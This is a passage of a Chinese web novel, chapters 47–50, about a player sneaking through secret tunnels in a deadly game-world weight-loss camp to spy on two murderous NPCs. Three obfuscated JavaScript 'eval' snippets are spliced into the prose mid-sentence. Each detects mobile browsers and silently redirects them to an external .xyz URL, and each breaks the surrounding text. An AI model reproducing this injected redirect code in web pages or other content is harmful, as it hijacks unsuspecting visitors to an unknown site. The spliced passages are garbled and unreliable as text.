她从直梯到暗道,而在这段路上还有四个一模一样的直梯,原来五个玩家的房间竟在地底相连。 林屿没有急着爬梯子,她略过这些直梯向前走,很快,一个岔路出现在眼前。 47. 第四十七章 两个岔路的前方都是黑黝黝一片,手电筒的光束照过去,很快便打在转角的墙面,无法知晓在那背后究竟有什么在等着她。 这个秘密通道里,只有她自己的呼吸和脚步,衣服摩擦出窸窣声响,这声音在安静的环境中也在无限放大,钻进耳朵,拨动神经,让人开始疑神疑鬼。 人的精神在这种封闭黑暗的环境中会不由自主地紧张,一切细微的动静都有可能引发过度反应。 林屿一边调整着呼吸,一边思考:要走哪边呢? 贺望说他从一个隐蔽的器材室进入了通道,而器材室在健身房后方,这里的一个通道说不定就是到那里去的。但现在她的目标是经理办公室,小偷动手前都要踩点,她打算干票大的,更需要弄明白目标的生活轨迹和房间布局。 地面有些凹凸不平的坑洼,这里没有被精心铺设的地砖,粗糙的水泥墙面能看见涂抹不平的刷痕,就像是匆忙建起的地方,不知是懒得做更多处理,还是不能够做更精细的布置。 手电筒的光倾斜着落下,遇到障碍物就会留下一道黑色的阴影,林屿转动着手电筒,忽然留意到几个不会随着光源移动而改变位置的黑色痕迹。 她走近了点,光束直射在痕迹上,却没有反光,这些痕迹是不规则的带状,边缘凌乱,她已经知道这是什么了。 干涸的血迹。 是被蹭到墙上的。 血迹在右侧通道延伸,有深有浅,黑色和暗红层层叠叠,就好像是在替人指路一样。 或许其中还有在昨夜遇害的劳小帅的血迹。 看来就是这里了,林屿不再犹豫,弓起身子钻进了这个更加狭小的岔路。拐过几个弯,路面就变成了斜坡,在最狭窄的地方,她感觉自己都快双手着地沦为四脚动物了。 如果是一个成年男人,想必通过这里更加艰难,何况丁经理还会带上玩家的尸体。他怎么不把这里修得宽些,这样狩猎也方便,也不至于把血迹蹭得满墙都是,现在真的像老鼠钻地洞一样的姿势。 不知道是不是错觉,林屿在选择了这条路后,总觉得空气中都弥散着铁锈的味道。 林屿走了一段距离,一直无法直起身子,感觉腰都僵了,正暗自计算走出多远的时候,手电筒的光芒又照出了一个岔路。右边的通道宽度没有变化,而左边的通道宽度只能让人匍匐通过——这真的是给人修的路吗? 所幸血迹的方向在右边,林屿没有花太多时间纠结,顺着这条路走了几分钟,便看见被封住的终点。前面似乎是墙壁,而这里没有别的岔路了。 是死路吗? 林屿想了想,走到终点,试着推了推前面的“墙壁”,然而墙壁没有丝毫松动。 她是不是走错了,应该走左边? 但血迹一直延伸到这里。 林屿观察了一会儿,发现侧面的墙壁上有一处可疑的凹凸,形状有些过于规整了,像砖块一样。她伸出手稍微用了一点力道,发现这个东西竟然可以往下按,像是什么开关一样。要现在就按下去吗?万一是什么机关? 她看过不少连续剧和电影小说,里面都喜欢这么写,在一个黑暗狭窄的地方,探险者碰到了伪装成岩石的机关,队里有人不小心踩到之后,箭雨、毒气、滚石便随之而来……最后活下来的只剩下主角。 在这里她会成为那个主角吗? 林屿不知道,但这里一定有一个出口,那些血迹不会平白无故地消失不见。 她做好随时发动技能的准备,往后退了几步,然后将手电筒往前方一掷,同时自己急速后退,退到了通道拐角的地方。 手电筒砸到那处凸起的“砖块”,然后掉到地上,一阵窸窣的响动。 没有毒气,没有箭雨,也像是没有任何变化。 林屿愣了愣,随后上前捡起手电筒,这才发现墙面靠下的地方洞开了一个方形的缺口,然而外面有什么东西在遮挡这里,所以依然只有唯一的光源。 她关掉手电筒,蹲下身将手抵在遮挡物上,触手冰冷,似乎是一块金属板。她小心翼翼地把它推开一条缝隙。 一片黑影猝不及防地掠过窥探的眼睛,一张毛巾从她面前嗖地被抽走了。 林屿惊了惊,往后撤回一截,而就是这一点距离让她的鼻子免遭重创。 丁经理将毛巾搭在手臂上,随后重重一巴掌拍在配电盖上,把刚刚松动的缝隙按回原处。 “妈的,又自己开了,真是不中用,前两天才刚刚修好了!”他随手拿起毛巾,在往下滴水的头发上擦了几个来回,走到洗漱台的镜子面前,开始刷牙。 镜子因为方才洗澡的热气蒙上一层雾气,因此房间里的人没有发现身后的配电盖再一次打开了一条缝。 林屿看着他的动作,起先还以为他在洗衣服,过了一会儿才看见他手里拿的是牙刷。 牙刷?他双手的位置在腰上面一点,离嘴巴十万八千里,他用牙刷来回刷洗什么呢? 一阵冲水的声音,丁经理的清理完成了,他似乎在找什么东西,洗漱台上下找遍后随手往台上一放,迈着急促的步伐开门离去。 林屿也因此看见了台上的东西,一个牙刷,和一副假牙。 他刚才就是在刷洗这个东西。 他竟然戴的是假牙! 林屿等了一会儿,人还是没有回来,看起来已经忘记了洗漱台上的“配件”,也不知道他究竟是离开了屋子还是没有找到东西。 现在正是弄清楚他房间布局的好时机。 出于谨慎,她又在通道里待了一会儿,而这段时间经理依然没有出现,看来他是真的忘了这里的假牙,或者目前用不上它了。 林屿推开金属外板,从里面探出身子,出口被伪装成了一个配电箱,旁边放着衣架,上面还有几张滴着水的毛巾,这是一间浴室。 她小心绕过有水的瓷砖走到门前,轻轻打开一条缝隙,伸出头向外张望。 一个不大不小的空间,但是摆放一张床和一副桌椅绰绰有余,落地灯就在床头,厚重的帘布遮挡住窗户,甚至没有把那一整面墙壁露出分毫。 原来这间浴室位于卧室内。林屿匆匆一眼扫过没有看到人,被两步远的地方那扇门吸引了注意,是卧室的大门。门缝微微敞开,她走过去,看到了熟悉的待客沙发和办公桌,丁经理坐在办公桌后,正在看电脑屏幕。 嘶,他还在这里! 林屿步子放轻,小心翼翼地退了回来,心脏噗通直跳,还好自己没有弄出声音,不然就要被发现了! 这里的房间布局已经看过,她也该功成身退,回去商量下一步计划了。林屿就要原路返回,余光却看见卧室里出现了一个骷髅头,瞬间头皮一炸。 定睛看去,原来那是一个白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495289|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的圆形灯罩,不过这个落地灯的支撑柱是白色的,造型一节一节的,显得很特别,林屿犹豫了一下,随后走近一些,待看清那些“节”是什么之后,呼吸滞住。 人的腿骨。 卧槽! 林屿不知该露出什么表情好,所幸理智还在,她一步一步退回了浴室。 这里太危险了,必须马上离开。 浴室里,一切都和方才一样,洗漱台上的假牙就放在极为显眼的位置,她匆匆扫过,却凝住目光。 有一颗牙齿的颜色太白了,比周围的都要白一些。 林屿莫名有些在意这一点,小心翼翼掰开假牙,那颗特别白的牙齿的碾磨面有几个深色的小点,像是龋齿。 假牙也会有龋齿吗? 林屿还要再观察,忽然听见门外的响动,心下一惊,放回假牙立刻就向出口冲去。然而好巧不巧,地面的积水让她一个趔趄,鞋底在地面上摩擦出刺耳的声音。 “吱——” “谁在里面!”丁经理的脚步急速接近。 林屿千钧一发之际钻进通道,几乎和开门的时间重合,她回身关上配电箱的金属板,这个位置在开门的一侧,高度低于视线,但不知道他看见没有。但她不敢停留,又按了一下“砖头”开关后闷头向前冲去。 墙面缓缓合拢,然而身后却有光照射进来,丁经理发现了这里! 他本来是回来拿假牙的,现在这一幅备用的缺了一颗,他每次都会忘记换,却万万没想到浴室里竟然进了人,还是走的他千辛万苦瞒着董事长挖出的暗道! 看见正在关闭的墙面,丁经理怒火中烧,在外面按下配电箱旁边的一块瓷砖,挤进重新打开的通道之中,他熟悉这里,他一定要追到那个胆大包天的家伙,把他抽筋扒皮,活活砍下四肢! 林屿听见身后的动静,心里那一点侥幸也消失了,他跟过来了! 靠!跑快点,想也知道被抓住的结局是什么,宁愿死也不能落到变态手里! 林屿加快步伐,却碰地一声撞到了转角的墙壁上。她没有开手电筒,在黑暗里失去了方向。 晕头转向,身后的脚步正在飞速靠近。 这里是第二个转角?那么前面就是那条向下的通道了,从一楼一直通向三楼,很长,很笔直。 不能走这里,一旦他打开手电照见自己的模样,那自己就将面临无止境的追杀。 赌一把! 她转身进了那个狭窄得必须匍匐前进的通道。 双手撑地、攀爬、挪动,鞋底蹬上砖石墙壁弄出跑步的声音。 还没有走出多远,她就谨慎地停下动作。过了十几秒,脚步声在她方才撞墙的地方停下了。 林屿放缓了呼吸。她已经爬出一段距离,可感官却能清晰地捕捉来人的喘气声,急促、粗粝,像是一头蠢笨的狗熊。 但这头狗熊极其残忍,笨重无能的外表是他欺骗对手、欺骗猎物的伪装,他只在夜里出没,在暗处动手,却以残虐的方式杀死了一个又一个无知的玩家,甚至用他们的腿骨来装点自己的卧室,每天用欣赏战利品的眼光欣赏他们的遗骸。 “让我猜猜你在哪里。”丁经理狞笑道,“你肯定在想,不出声,我就找不到,对不对?” 林屿又想起那个讲给孟锦竹的杀人城堡的故事,而这回,她成为了那个误入的旅人。 48. 第四十八章 “我已经知道你了,上回你就是从器材室进来的,连累我差点暴露这个地方,你以为你还能从那里进出第二回吗?”丁经理说着,转身拐进了她来时的那条路。 丁经理手中拿着一把剔骨刀,满脸狞笑地走远了。他没有看见她的身形,把她当成了上回走这个通道的人。 林屿松了一口气,黑锅在贺望头上,只要能出去,就不会被经理怀疑。 来时的路被拦住,而最开始那条岔路应当就通往贺望所说的器材室,只不过现在不能走了,似乎是这个NPC落了锁,封住了。 他很在意这里被发现,被谁发现? 林屿想到减重营的权力结构,豁然开朗,经理是瞒着董事长偷偷挖的暗道,所以这里的施工很粗糙,宽度也狭小,越是往上越容易弄出响动被隔壁的董事长发现,所以宽度才更窄。 通往他大本营的通道已经够窄了,而这条小到只能四脚行走的…… 董事长办公室! 林屿瞳孔骤缩,这是唯一的答案,这条路是通往董事长办公室的暗道,她想要离开这里,即将面对的是董事长? 一想到那个NPC,她便迟疑地停下了攀爬,为了躲避这个危险NPC,她不得不把自己送入另一个危险NPC的眼皮子底下吗? 变态和冷血,你觉得哪一个更好? 或许,她可以趁丁经理现在进入了通道深处,从他的办公室返回。 林屿刚想后撤,耳朵里却捕捉到几丝轻响,她回头望着身后的黑暗,本能的警铃在高声作响。 经理就在附近,他没有离开! 不,或许他已经离开了,只不过发现那边没有人,于是又悄悄地返回。他在等待她出现! 有一股强烈的直觉告诉她,只要回去,只要从甬道中一冒头,就会有一柄早已等待好的铡刀猛然砍下,让她霎时血溅五步,身首分离。 她只能往前,不得不往前。 手指摸到了阻碍,不同于金属的冰冷,这回的质感是带着横纹的粗糙感,像是摸到了什么木头。 她贴上耳朵,聆听了一会儿,没有任何声音。 身后的黑暗里也没有任何响动传来了,可是她无法确定经理是否还守在岔路口,她也根本没有听见他离开的脚步。 这个通道太窄,容易被伏击,经理不一定会进来查探,可她不能赌这个可能。 林屿一咬牙,推开了前方的阻隔,光线再一次照亮了她的眼睛。 昏昧的灯光,似乎被刻意调得很暗,然而还是让林屿看清了房间的布置,这一瞬,她怀疑自己走错了地方。 对面是一张大床,四面拉起帷幔,黑纱从高处垂落,只余下正对着她的一面是掀起来的。黑纱上点缀着蕾丝花边,一面衣柜被做成了透明的鞋柜,里面摆放了很多双女士鞋,高跟鞋、运动鞋、休闲鞋,应有尽有,这似乎是一位女士的房间。 恍惚间像是来到了另一个副本。 这里真的是董事长的房间?那个看起来性冷淡的董事长其实是个女装癖?林屿心里有种古怪的感觉。 头顶被推开一条缝的障碍物往旁边滑落了一小截,随后啪嗒一声落下,林屿慌忙从半空中截住,避免了它在地上摔碎的命运,背后出了一身冷汗。 好险。手指握住的是一副画框的边缘,林屿方才推开的原来是墙壁上的一副画,现在它正沉甸甸地缀在手上。 万幸的是,方才没有弄出很大动静,这间房屋似乎也没有人在。 挂画在墙壁的中上部,离地面有一米六左右的高度,林屿抱着画框轻巧地落地,将画重新挂回墙上。这时,她看见了画的正面——一个闭着眼睛的女人,她穿着精致,双手交叉放在腹部,看上去在睡觉。 可若是把她身后的背景换成棺材也毫不违和,她的面容隐隐约约有股安详的神态,像是在睡觉,却更像是长眠。 林屿回头看着重重帘幕遮掩的大床,心里有一股不好的猜测,这个画上的人,该不会正躺在她背后的床上吧?她是活人还是死人,是又一个还没有出现的NPC? 如果她是NPC,那么无论处于生前还是死后的状态,都只是一种设定而已,自己这番动静说不定已经惊动了她,说不定现在正透过帘幕看着自己。 林屿一瞬间寒毛直竖,她紧盯前方,试图捕捉里面人弄出的细微响动。 要掀开围帘看一看究竟吗? 说不定在揭开的一瞬间就被攻击,更糟的是,说不定董事长就睡在里面,自己的举动很可能会惊醒他。 但她必须得弄清楚是否有这个NPC的存在。 林屿放轻脚步,从侧面绕过去,走得很小心,尽量不发出任何声音。 她的手已经触碰到了缀着蕾丝边的、丝滑的纱帘。 忽然,直觉发出一阵警告,同时,她的耳朵捕捉到一个逐渐加大的声响,是令所有玩家畏惧不已的声音:董事长的皮鞋声。 由远及近,不断靠近。 林屿心里一惊,急忙寻找这个房间内的掩体。现在回到通道已经来不及了,而且弄出的响动很可能会暴露这处暗道,在她的计划实施之前,她可以暂时和经理站在同一战线,心照不宣地瞒住这个董事长不知道的地方。 脚步声越来越近,林屿拉开衣柜,里面的各种长裙礼服排列整齐,每一个都间隔着恰到好处的距离,看上去有种强迫症的美感,衣柜的下方是空的,正好可以藏人。现在并不是考虑会不会弄乱的问题,林屿都快把脚迈进去了,却又忽然停住。 周利司在监视玩家的空隙,偶尔也会来这里坐一会儿,他像往常一样打开门,却察觉到一丝陌生的气息。 有人来过这里。 是上次那个小偷吗?他的脸上降下一团阴霾。 上次那个小偷偷走了他的神物,他恨不得把他碎尸万段,然而那个人却不知道躲哪里去了,什么地方都找不到。这回那人又贼心不死继续在他的地盘动手吗?周利司快速走到床边,掀开床帘。 里面合目躺着一个女人,她双手交叉放在腹部,陷落在柔软的丝绒床单之中,像是在闭目沉睡一般。 要是林屿方才掀开了帘幕,一定会大吃一惊,因为其中躺着的人和墙上的画中人一模一样! 她周身并没有挪动的痕迹,周利司微不可察地松了口气,目光中却透出一点失落。 林屿就缩在床底的黑暗中,屏住呼吸看着那双皮鞋快速接近,董事长掀开床帘,不知在查看什么,上方传来一阵窸窣响动。 过了一会儿,他的脚动了,鞋尖从正对床下转了个向,林屿眼睁睁地看着他走到衣柜前,伸手打开了柜门,而那里正好是她之前想要躲进去的地方。 不过董事长并不是要在里面找人,他伸手从中选了一套黑色裙装,拿着它重新回到了床边。 盯着没有被脱下的那双皮鞋,林屿确定了,不是董事长有女装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495290|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 癖,而是床上还有另一个人。她的心里升起警报,那么她闯入的举动,是不是已经被那人看得清清楚楚? 然而这里并没有任何交谈声,她想到墙壁上的挂画,或者说被藏起来的是一个没有知觉的女人?她和董事长是什么关系? 周利司在这里守了一会儿,最后起身准备离开,他看着闭着眼睛的美丽女人,自言自语般低声说道:“我一定会救活你的,很快了,这一批人会补上你剩余的东西。” 他最后抬起她的手,在手背落下一吻,随后离开了房间。 林屿在床下屏息凝神,一直等到董事长的脚步走远,现在这里只剩下她和床上的神秘女人了。 这时她已经有所了然,床上的人大概处于没有知觉的情况,至少也是不能自主行动的状态,因此不大可能形成威胁。只不过,她的存在让人非常疑惑,那个冷血无情的董事长在她面前像是变了一个人似的,言语都放轻了,像是对待珍宝一般。 或许这个神秘女人就是他的爱人,他方才也说了,他所做的一切都是为了救活她,不过他的言语也透露了一个十分危险的意思,他打算利用玩家做些什么,或者,玩家已经身在他的狩猎场之中,不知何时就会被他当做耗材。 林屿心中升起一股焦虑,现在不只是经理会在夜里动手,董事长也会开始他的捕猎,随时随地都有可能动手。 明天一早能够幸存的,又会有几人呢? 时间紧迫,她该立刻返回自己的房间,和队友们商定接下来的计划了。唯一的问题是,丁经理已经从暗道里离开了吗? 林屿拿出了传信纸。 …… 孟锦竹在经理办公室砰砰砰砰地敲门,敲了大概有十多分钟,这边的主人还没开门,那边的办公室一下子出来一个人,她一看,哎呀妈呀,董事长!超危险NPC!连忙停下了手上动作,小心翼翼地贴着墙壁让出一条路来。 董事长径直走来,看也没看她,啪嗒一下拧断门把手,直接暴力破门走了进去。 他旁若无人地在办公室转了一圈,走进了里面的房间。 没人。 他也没有继续寻找,就在办公桌坐下了,手指扣着桌面,那个表情,饶是她也为丁经理默哀了一秒。 孟锦竹十分想就这样默默退场,最好不要引起任何注意,然而林屿还在暗道里,她必须给她报信。她的手隔着衣兜碰到了传信纸,林屿方才说自己被困住了,让她打探经理的动向,只要一出现在外界立刻通知她。 她必须等到经理出现! 孟锦竹一颗小心脏噗通噗通,脚步没动,站在能够看清室内的位置。 起初那个傲慢的NPC完全没有在意她,随着时间推移,他似乎有些不耐烦了,终于觉得这个小虫子碍眼,将冷漠的目光投了过来。 “你有什么事?”他的声音像是结了冰。 孟锦竹毫不怀疑自己要是没有正当理由就会被他一把捏死。 “我、我找丁经理呢。” “有什么事?”他不耐烦地问了第二遍。 孟锦竹咕咚咽了一下口水,觉得自己再不走就永远走不了了,“那个,你的事比较重要,我先不打扰了……” 她转身,正对上□□没有任何感情的一双黑沉的眼睛。他就在她背后,完全挡住了下楼的去路。 她再回头,董事长已经站了起来,正向她走来。 救、救命啊! 49. 第四十九章 孟锦竹眼睁睁看着自己被两面夹击,她一个手无缚鸡之力的平平无奇的普通玩家,此时已经无计可施,想到来之前还义正言辞地拒绝了孙覃的跟随,说自己怎么可能连这点任务都要人帮忙,不由在心底流下悔恨的泪水。 这是什么天杀的运气!被副本最危险的NPC瞄上了! 孟锦竹浑身因恐惧而僵硬无比,然而脑子里却在飞速思考逃生的办法。逃跑?往哪边跑?董事长那边是死路,只有绕过□□跑下楼,但之后呢?之后哪里能藏?自己能从□□旁边跑过去不被捉住吗? 以及,他们这是打算动手,准备对她做什么? 孟锦竹的鞋尖在地面摩擦,稍微挪动了一下方向,她只能从□□的方向逃跑,至于之后的,都要等跑出包围了再说。 就在她的双腿已经蓄好力,即将窜出去的时候,办公室里忽然响起了一个声音。 “怎么回事?董事长怎么来了???” 丁经理没想到一出来办公室的大门就是敞开的,一群人在门口不知道做什么,待他看清离得最近的男人时,冷汗一下子流出来了。 “董事长刚才找我?” 他从内室出现,一只脚跨出了休息间的房门,大概是听见了外面的响动前来查看,却没想到见到了这样一副场面。 说实话,虽然他和董事长住在隔壁,但两人实际上很少碰面,各管各的,他们本来都是这个副本的工具人,在苏醒了自我意识之后心照不宣地破坏了原本的规则,他知道董事长在狩猎,他也在偷偷摸摸地狩猎,争抢着玩家的人命。两人是同谋,也是对手。 只不过,在面对董事长时一种潜藏的危机感告诉他,这个人是比自己更强大的猎手,如果两人争斗,落败的一定是自己。因此即使无需遵守原本的规则,无需遵守有名无实的公司制度,他也害怕这个人。 丁经理擦了擦额头,走上前去,他已经看到了被破坏的门锁,一下子就明白他是来找自己的,而自己突然出现已经暴露了房间里有蹊跷,说不定他已经怀疑暗道的事,而自己恰好给他送了一个把柄。 “你从哪冒出来的?”董事长冷冰冰地问道。 丁经理知道自己一个回答不好就会让长久以来的布置前功尽弃,眼珠转动,将人迎了进来,而□□留在了外面。 □□是未曾觉醒自我意识的副本道具,仍然遵循着原有的章程办事,同时听命于两人,董事长优先级更高,但优先级最高的行动依然是维持副本正常运转。因此他并不掺和这件事,而是下楼开始巡视。 孟锦竹已经趁乱跑了,不过谁也没有在意。她已经身在副本里了,跑也跑不到哪里去,落到他们手上是迟早的事。 “我刚去了负一楼机房,看看那里的机器运转得正不正常。”丁经理已经想好了借口,“毕竟池子里那么多……为什么不干脆把水放了,让他们没处躲?” “放了?然后让他们跑得到处都是?”董事长反问道。 “唉,当初我们封闭了出路,没想到这些东西也留下来了。”丁经理把话题越带越偏,“难不成就看着那些……越堆越多?” 他觉得泳池里的灵魂已经够多了,挤挤挨挨不知道什么时候就会装不下,一想到杀死的玩家灵魂还留在这里没有消散,他就有一种怪异的厌烦,像是垃圾没处丢的感觉。 董事长意味不明地看着他,“只要你恪守本分,就没有什么需要担心的。” 丁经理一下子汗流浃背,“那是一定的、一定的,我一定好好恪守本分,不做什么多余的事。” 董事长在警告他不要和他抢人。 …… 林屿把事情写到传信纸之后,左等右等觉得不如趁着机会看看床上究竟是什么情况,真的像画上一样躺着个女人? 她按耐不住,确认门已经关好,周围都没有声音之后,从床下爬出来,站在了黑色的纱幔前。做足心理准备之后,她慢慢拉开了帷幔,里面黑咕隆咚一片,一双交握的雪白的双手率先进入视线。 那是一双十指交叉平放在腹部的手,在昏暗的光线中被率先照亮,周围是一片模糊的深黑,显得双手像是被固定在礼品盒里的一个精巧的装饰。 林屿心里咕咚一声,背后竖起寒毛,床上落着一双手,这场景怎么看怎么诡异,然而她动作不停,把纱帘继续往外撩。 随着帷幔展开,她终于看见床内的全貌。里面确实躺着一个女人,和画中人一模一样。黑色的衣裙融入深红床垫,因此视觉上看到的只有一张脸和一双交握的手,两处白落在一片黑中,像是小船在漆黑的海水中漂泊无依,寻找着靠岸的港湾。 她身上的黑裙和董事长先前拿过来的一模一样,林屿心里有一股不适感,这算什么,对洋娃娃的换装游戏?他应该很重视这个女人,或许是在用这种方式表达爱意,但林屿只觉得扭曲,也可能是她的先入为主,觉得他不是什么好人,实际上他只是在靠这种方式缓解失去爱人的痛苦? 林屿放下帘幕,床上的人也看了,这里也没有什么可以探索的东西了,她不敢打开门去外面,首先是不知道房间布局,万一和经理那边不一样,一打开正对办公室,那她就死了,二是不知道董事长离开没有,方才似乎听见关门声,但也许是别人来找他,他不一定出门了。 林屿再次拿出纸条寻找留言,而这回她方才的留言后终于不是空白的了,上面用大字写着:董事长在经理那里,经理出来了,快跑!!! 还打了三个感叹号,可见写字人害怕的心情,林屿猜是孟锦竹单独跑去找经理了,她看到这条消息本该立刻从暗道离开,然而目光却不受控制地落在了第一句话那里:董事长在经理的办公室。 他此时不在这里,那么她是不是可以趁此机会去他办公室看一眼合同呢? 一有了这个想法,她的腿就挪不动了。 如果被抓住,那么自己不用再努力挣扎,她死定了,去看的收获反而没有那么大,但只要看了合同,就能证实她的推测——副本本身是有通关渠道的,只不过被隐藏起来了。 林屿在画框前停下,本该立刻从出口出去,腿脚却像是灌了铅。去看一眼,就一眼,听到动静马上回来。 林屿的手摸到了房门,小心翼翼地探出头,外间依然是卧室,但这个卧室很小,似乎是董事长把一个房间隔离成了两部分,一部分是自己随意应付的地方,一部分是爱人所住的精巧华丽的房间。 她注意到,外间的小卧室对面墙壁也被厚重的窗帘遮蔽。可玩家的房间是没有对外窗户的,这里像是一个精心密闭的小盒子,装满了误入网中的玩家和坐等猎物的NPC,为什么经理和董事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495291|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长房间有对外的窗户? 林屿又想去看看窗帘后都有什么,好奇心不容易控制,但可以被危机,或者更大的好奇心压制,她的首要目标仍然是合同。 董事长的办公桌上也有一台电脑,此时屏幕并未关闭,她一上前就看到了各个房间的监控,健身房、镜子房间、餐厅、泳池,一楼到三楼的走廊,除了玩家房间,几乎所有的地方都隐藏着一双看不见的眼睛。 林屿猜他起先也给玩家房间安装过,但玩家不是傻子,对“安全区”会检查得很细致,只要发现以后有很大可能会把这个东西弄下来或者盖住,因而除了损失器具之外起不到多大作用。或许其中也有经理的反对,他还要通过暗道从床下爬出来狩猎,因此会想方设法阻挠董事长的行动。 当然,也有可能是副本的一部分规则仍然奏效,玩家一旦投诉这件事他们必须处理。 不过经理自己却在玩家床下安装重力传感器,借此区分住进目光房间的玩家,从而精准找对目标房间,在她之前可能还没有人发现这一点。 除了她知道的几个房间以外,监控中还出现了一个陌生的房间,里面摆满了各种健身器材,有好多林屿都认不出是什么用途,一些哑铃摆放在金属架上,明明没有人,它们却在骨碌碌地来回滚动,就像是人无聊得发慌时不由自主的踱步。 看来这里就是贺望所说的高危器材室了,看起来确实很危险,但它们为什么会被关押在这里呢?它们原本应当是玩家的考验。 所以,是NPC把高危的选项摘除出来,从而让玩家更安全? 他们不会这么好心,他们在和副本争抢玩家,就像是在抢什么资源一样。 林屿背后起了点鸡皮疙瘩,她收回目光,刚才不由自主就被屏幕的画面吸引住了目光,她开始小心翼翼地搜查抽屉,最后在桌柜中找到一叠文件:减重营地学员协议。 合同! 第一张是钱刚的,林屿快速翻动起来,重点看签字部分,她目标明确,终于在最后一页看到了学员指标。 钱刚,协议完成减重斤数:二十斤。 二十斤!究竟要减下什么才能瘦下二十斤!这个数字不对劲,按照一天四个小时的运动量,这个数字足够玩家住一两个月了。副本会有这样长的时间跨度吗?这里的二十四小时体验感非常真实,和前两次副本压缩过的时间根本不一样。 林屿眉头一皱,忽然注意到,二和斤之间的“十”是手写加上去的,也就是说,合同上原本写的数目是二斤!她意识到什么,又开始翻看自己的合同,然而一阵由远及近的皮鞋音将她惊醒,董事长回来了! 周利司回到办公室,坐回办公桌后时目光忽然变冷,他拉开存放文件的抽屉,一叠文件完好无损地放在里面,像是从未被挪动过位置,也从来没有被拿出来过。然而他还是从最上面一份的封面中发现端倪:原本左下角没有那个折痕。他沉下脸,快步走向卧室,打开了最里面的那扇门。 灯光一如既往幽暗,看到床上完好无损的女人时,他微不可察地松了一口气,随后冷下目光,回到办公桌看了会儿监控,拿出方才抽屉里的文件,从里面抽出了一份,啪地一下子甩到桌面上。 这个人不安分,只要等到明天,他就可以动手了。 正好,她是个很合适的材料。 50. 第五十章 “你终于出来了!” 林屿一冒头,就被孟锦竹一把拉住,拽着衣服往外扯了出来。她动作很急,却并不粗鲁。 方才遭遇的危机让孟锦竹浑身血流加速,到现在还没有停下,而她的技能似乎越来越失控了,现在她每隔几分钟都必须改变一次外貌,不然就会憋得发疯,像是一个话痨必须喋喋不休地说话,她必须不断变脸,这已经成了一种必不可少的动作,就像眨眼一样。 林屿眼睁睁看着她在自己面前变成孙覃的模样,变成何芝的模样,然后又变成自己的模样,而或许是怕撑坏了衣服,她的身体又没有改变,这就显得十分怪异,就好像一场换头大会。 林屿顿时明白了孟锦竹在房间里守着自己出来的原因,她不能把这副模样暴露在监控之下。 “你的情况会消耗精神力吗?”林屿问道。虽然这个破“游戏”从未指明,但是使用技能是会消耗精神力的,不然没有明确冷却时间的情况下为什么玩家不用技能从头到尾地开挂?很简单,到了极限人就会力竭,精神上的力竭,头痛、耳鸣、精神恍惚、手脚无力,上个副本的最后她就是将技能用到了极限,飞出了峡谷,所以之后大脑一直隐隐作痛,休息一天才好了些。 “会,但现在还撑得住。”孟锦竹回答。 林屿观察她的状态,使用了自己的技能让她冷静,让她的状态和自己趋同,孟锦竹感觉自己的头脑清醒了不少,想要改变面貌的冲动也没有那么强烈了,她开始猜测,“难道我技能的失控还和情绪有关?” “现在看来是这样的。”林屿欲言又止,探究地看着她。 孟锦竹似乎能猜到她想问什么了,“我这种情况之前他们之前讨论过,有两种猜测,一是我曾经在副本里受到过什么影响导致的失控,二是我属于易感人群,容易觉醒技能也容易异变,说起来我确实是过了两个副本就有的技能,就像是对一个病毒没有抗体,所以特别容易感染发病。” 林屿皱起眉,说起来她的技能也有所变化,会是同样的原因吗?不过她并没有失控。 孟锦竹已经稳定了一些,她感觉自己依然有想要变形的冲动,但是没有之前那么强烈了,属于忍一忍能忍住的范畴,便开始关心之前所说的大胆计划,“你这一趟有什么收获,我们真的要动手去杀NPC吗?” 这时两人身后的房门被悄无声息地打开了,孟锦竹只感觉有一股冷风吹到后背,头皮顿时炸开,又忍不住变了个脸,而这回她变的是一个狗脸,毛茸茸的金色长毛和下垂的耳朵放在狗身上看很可爱,放在人脖子上看就十分惊悚了,进门的人也被吓了一跳,身体顿时变成了金属色,直到看清两人之后才缓缓消退。 “孙覃。”林屿叫了他的名字,“你去说了吗?” “说了。”孙覃回答道,先前林屿进入暗道之前让他们告诉漆春汪睿,晚上可能有NPC会从床下出来攻击人,但看到以后不用紧张,一定要大喊大叫,然后他们就会过来救人。孙覃觉得自己原话告诉他们自己一定会被当成神经病,于是委婉了一些,说如果遇到床下的危险就想办法让他知道,这样他就会来帮助两人。 林屿放下心来,以防万一丁经理乱跑房间,她必须给不知情者一个预警。不过今晚最大可能遇袭的并不是漆春和汪睿两人。 孙覃走到两人身边,看了看还盯着狗头的孟锦竹,担忧道,“你的情况能撑住吗?怎么突然一下子会失控?” 孟锦竹又变回韩舒的脸,“可以的,只要保持冷静就行,每次变化的消耗不大,你们不用担心我。” 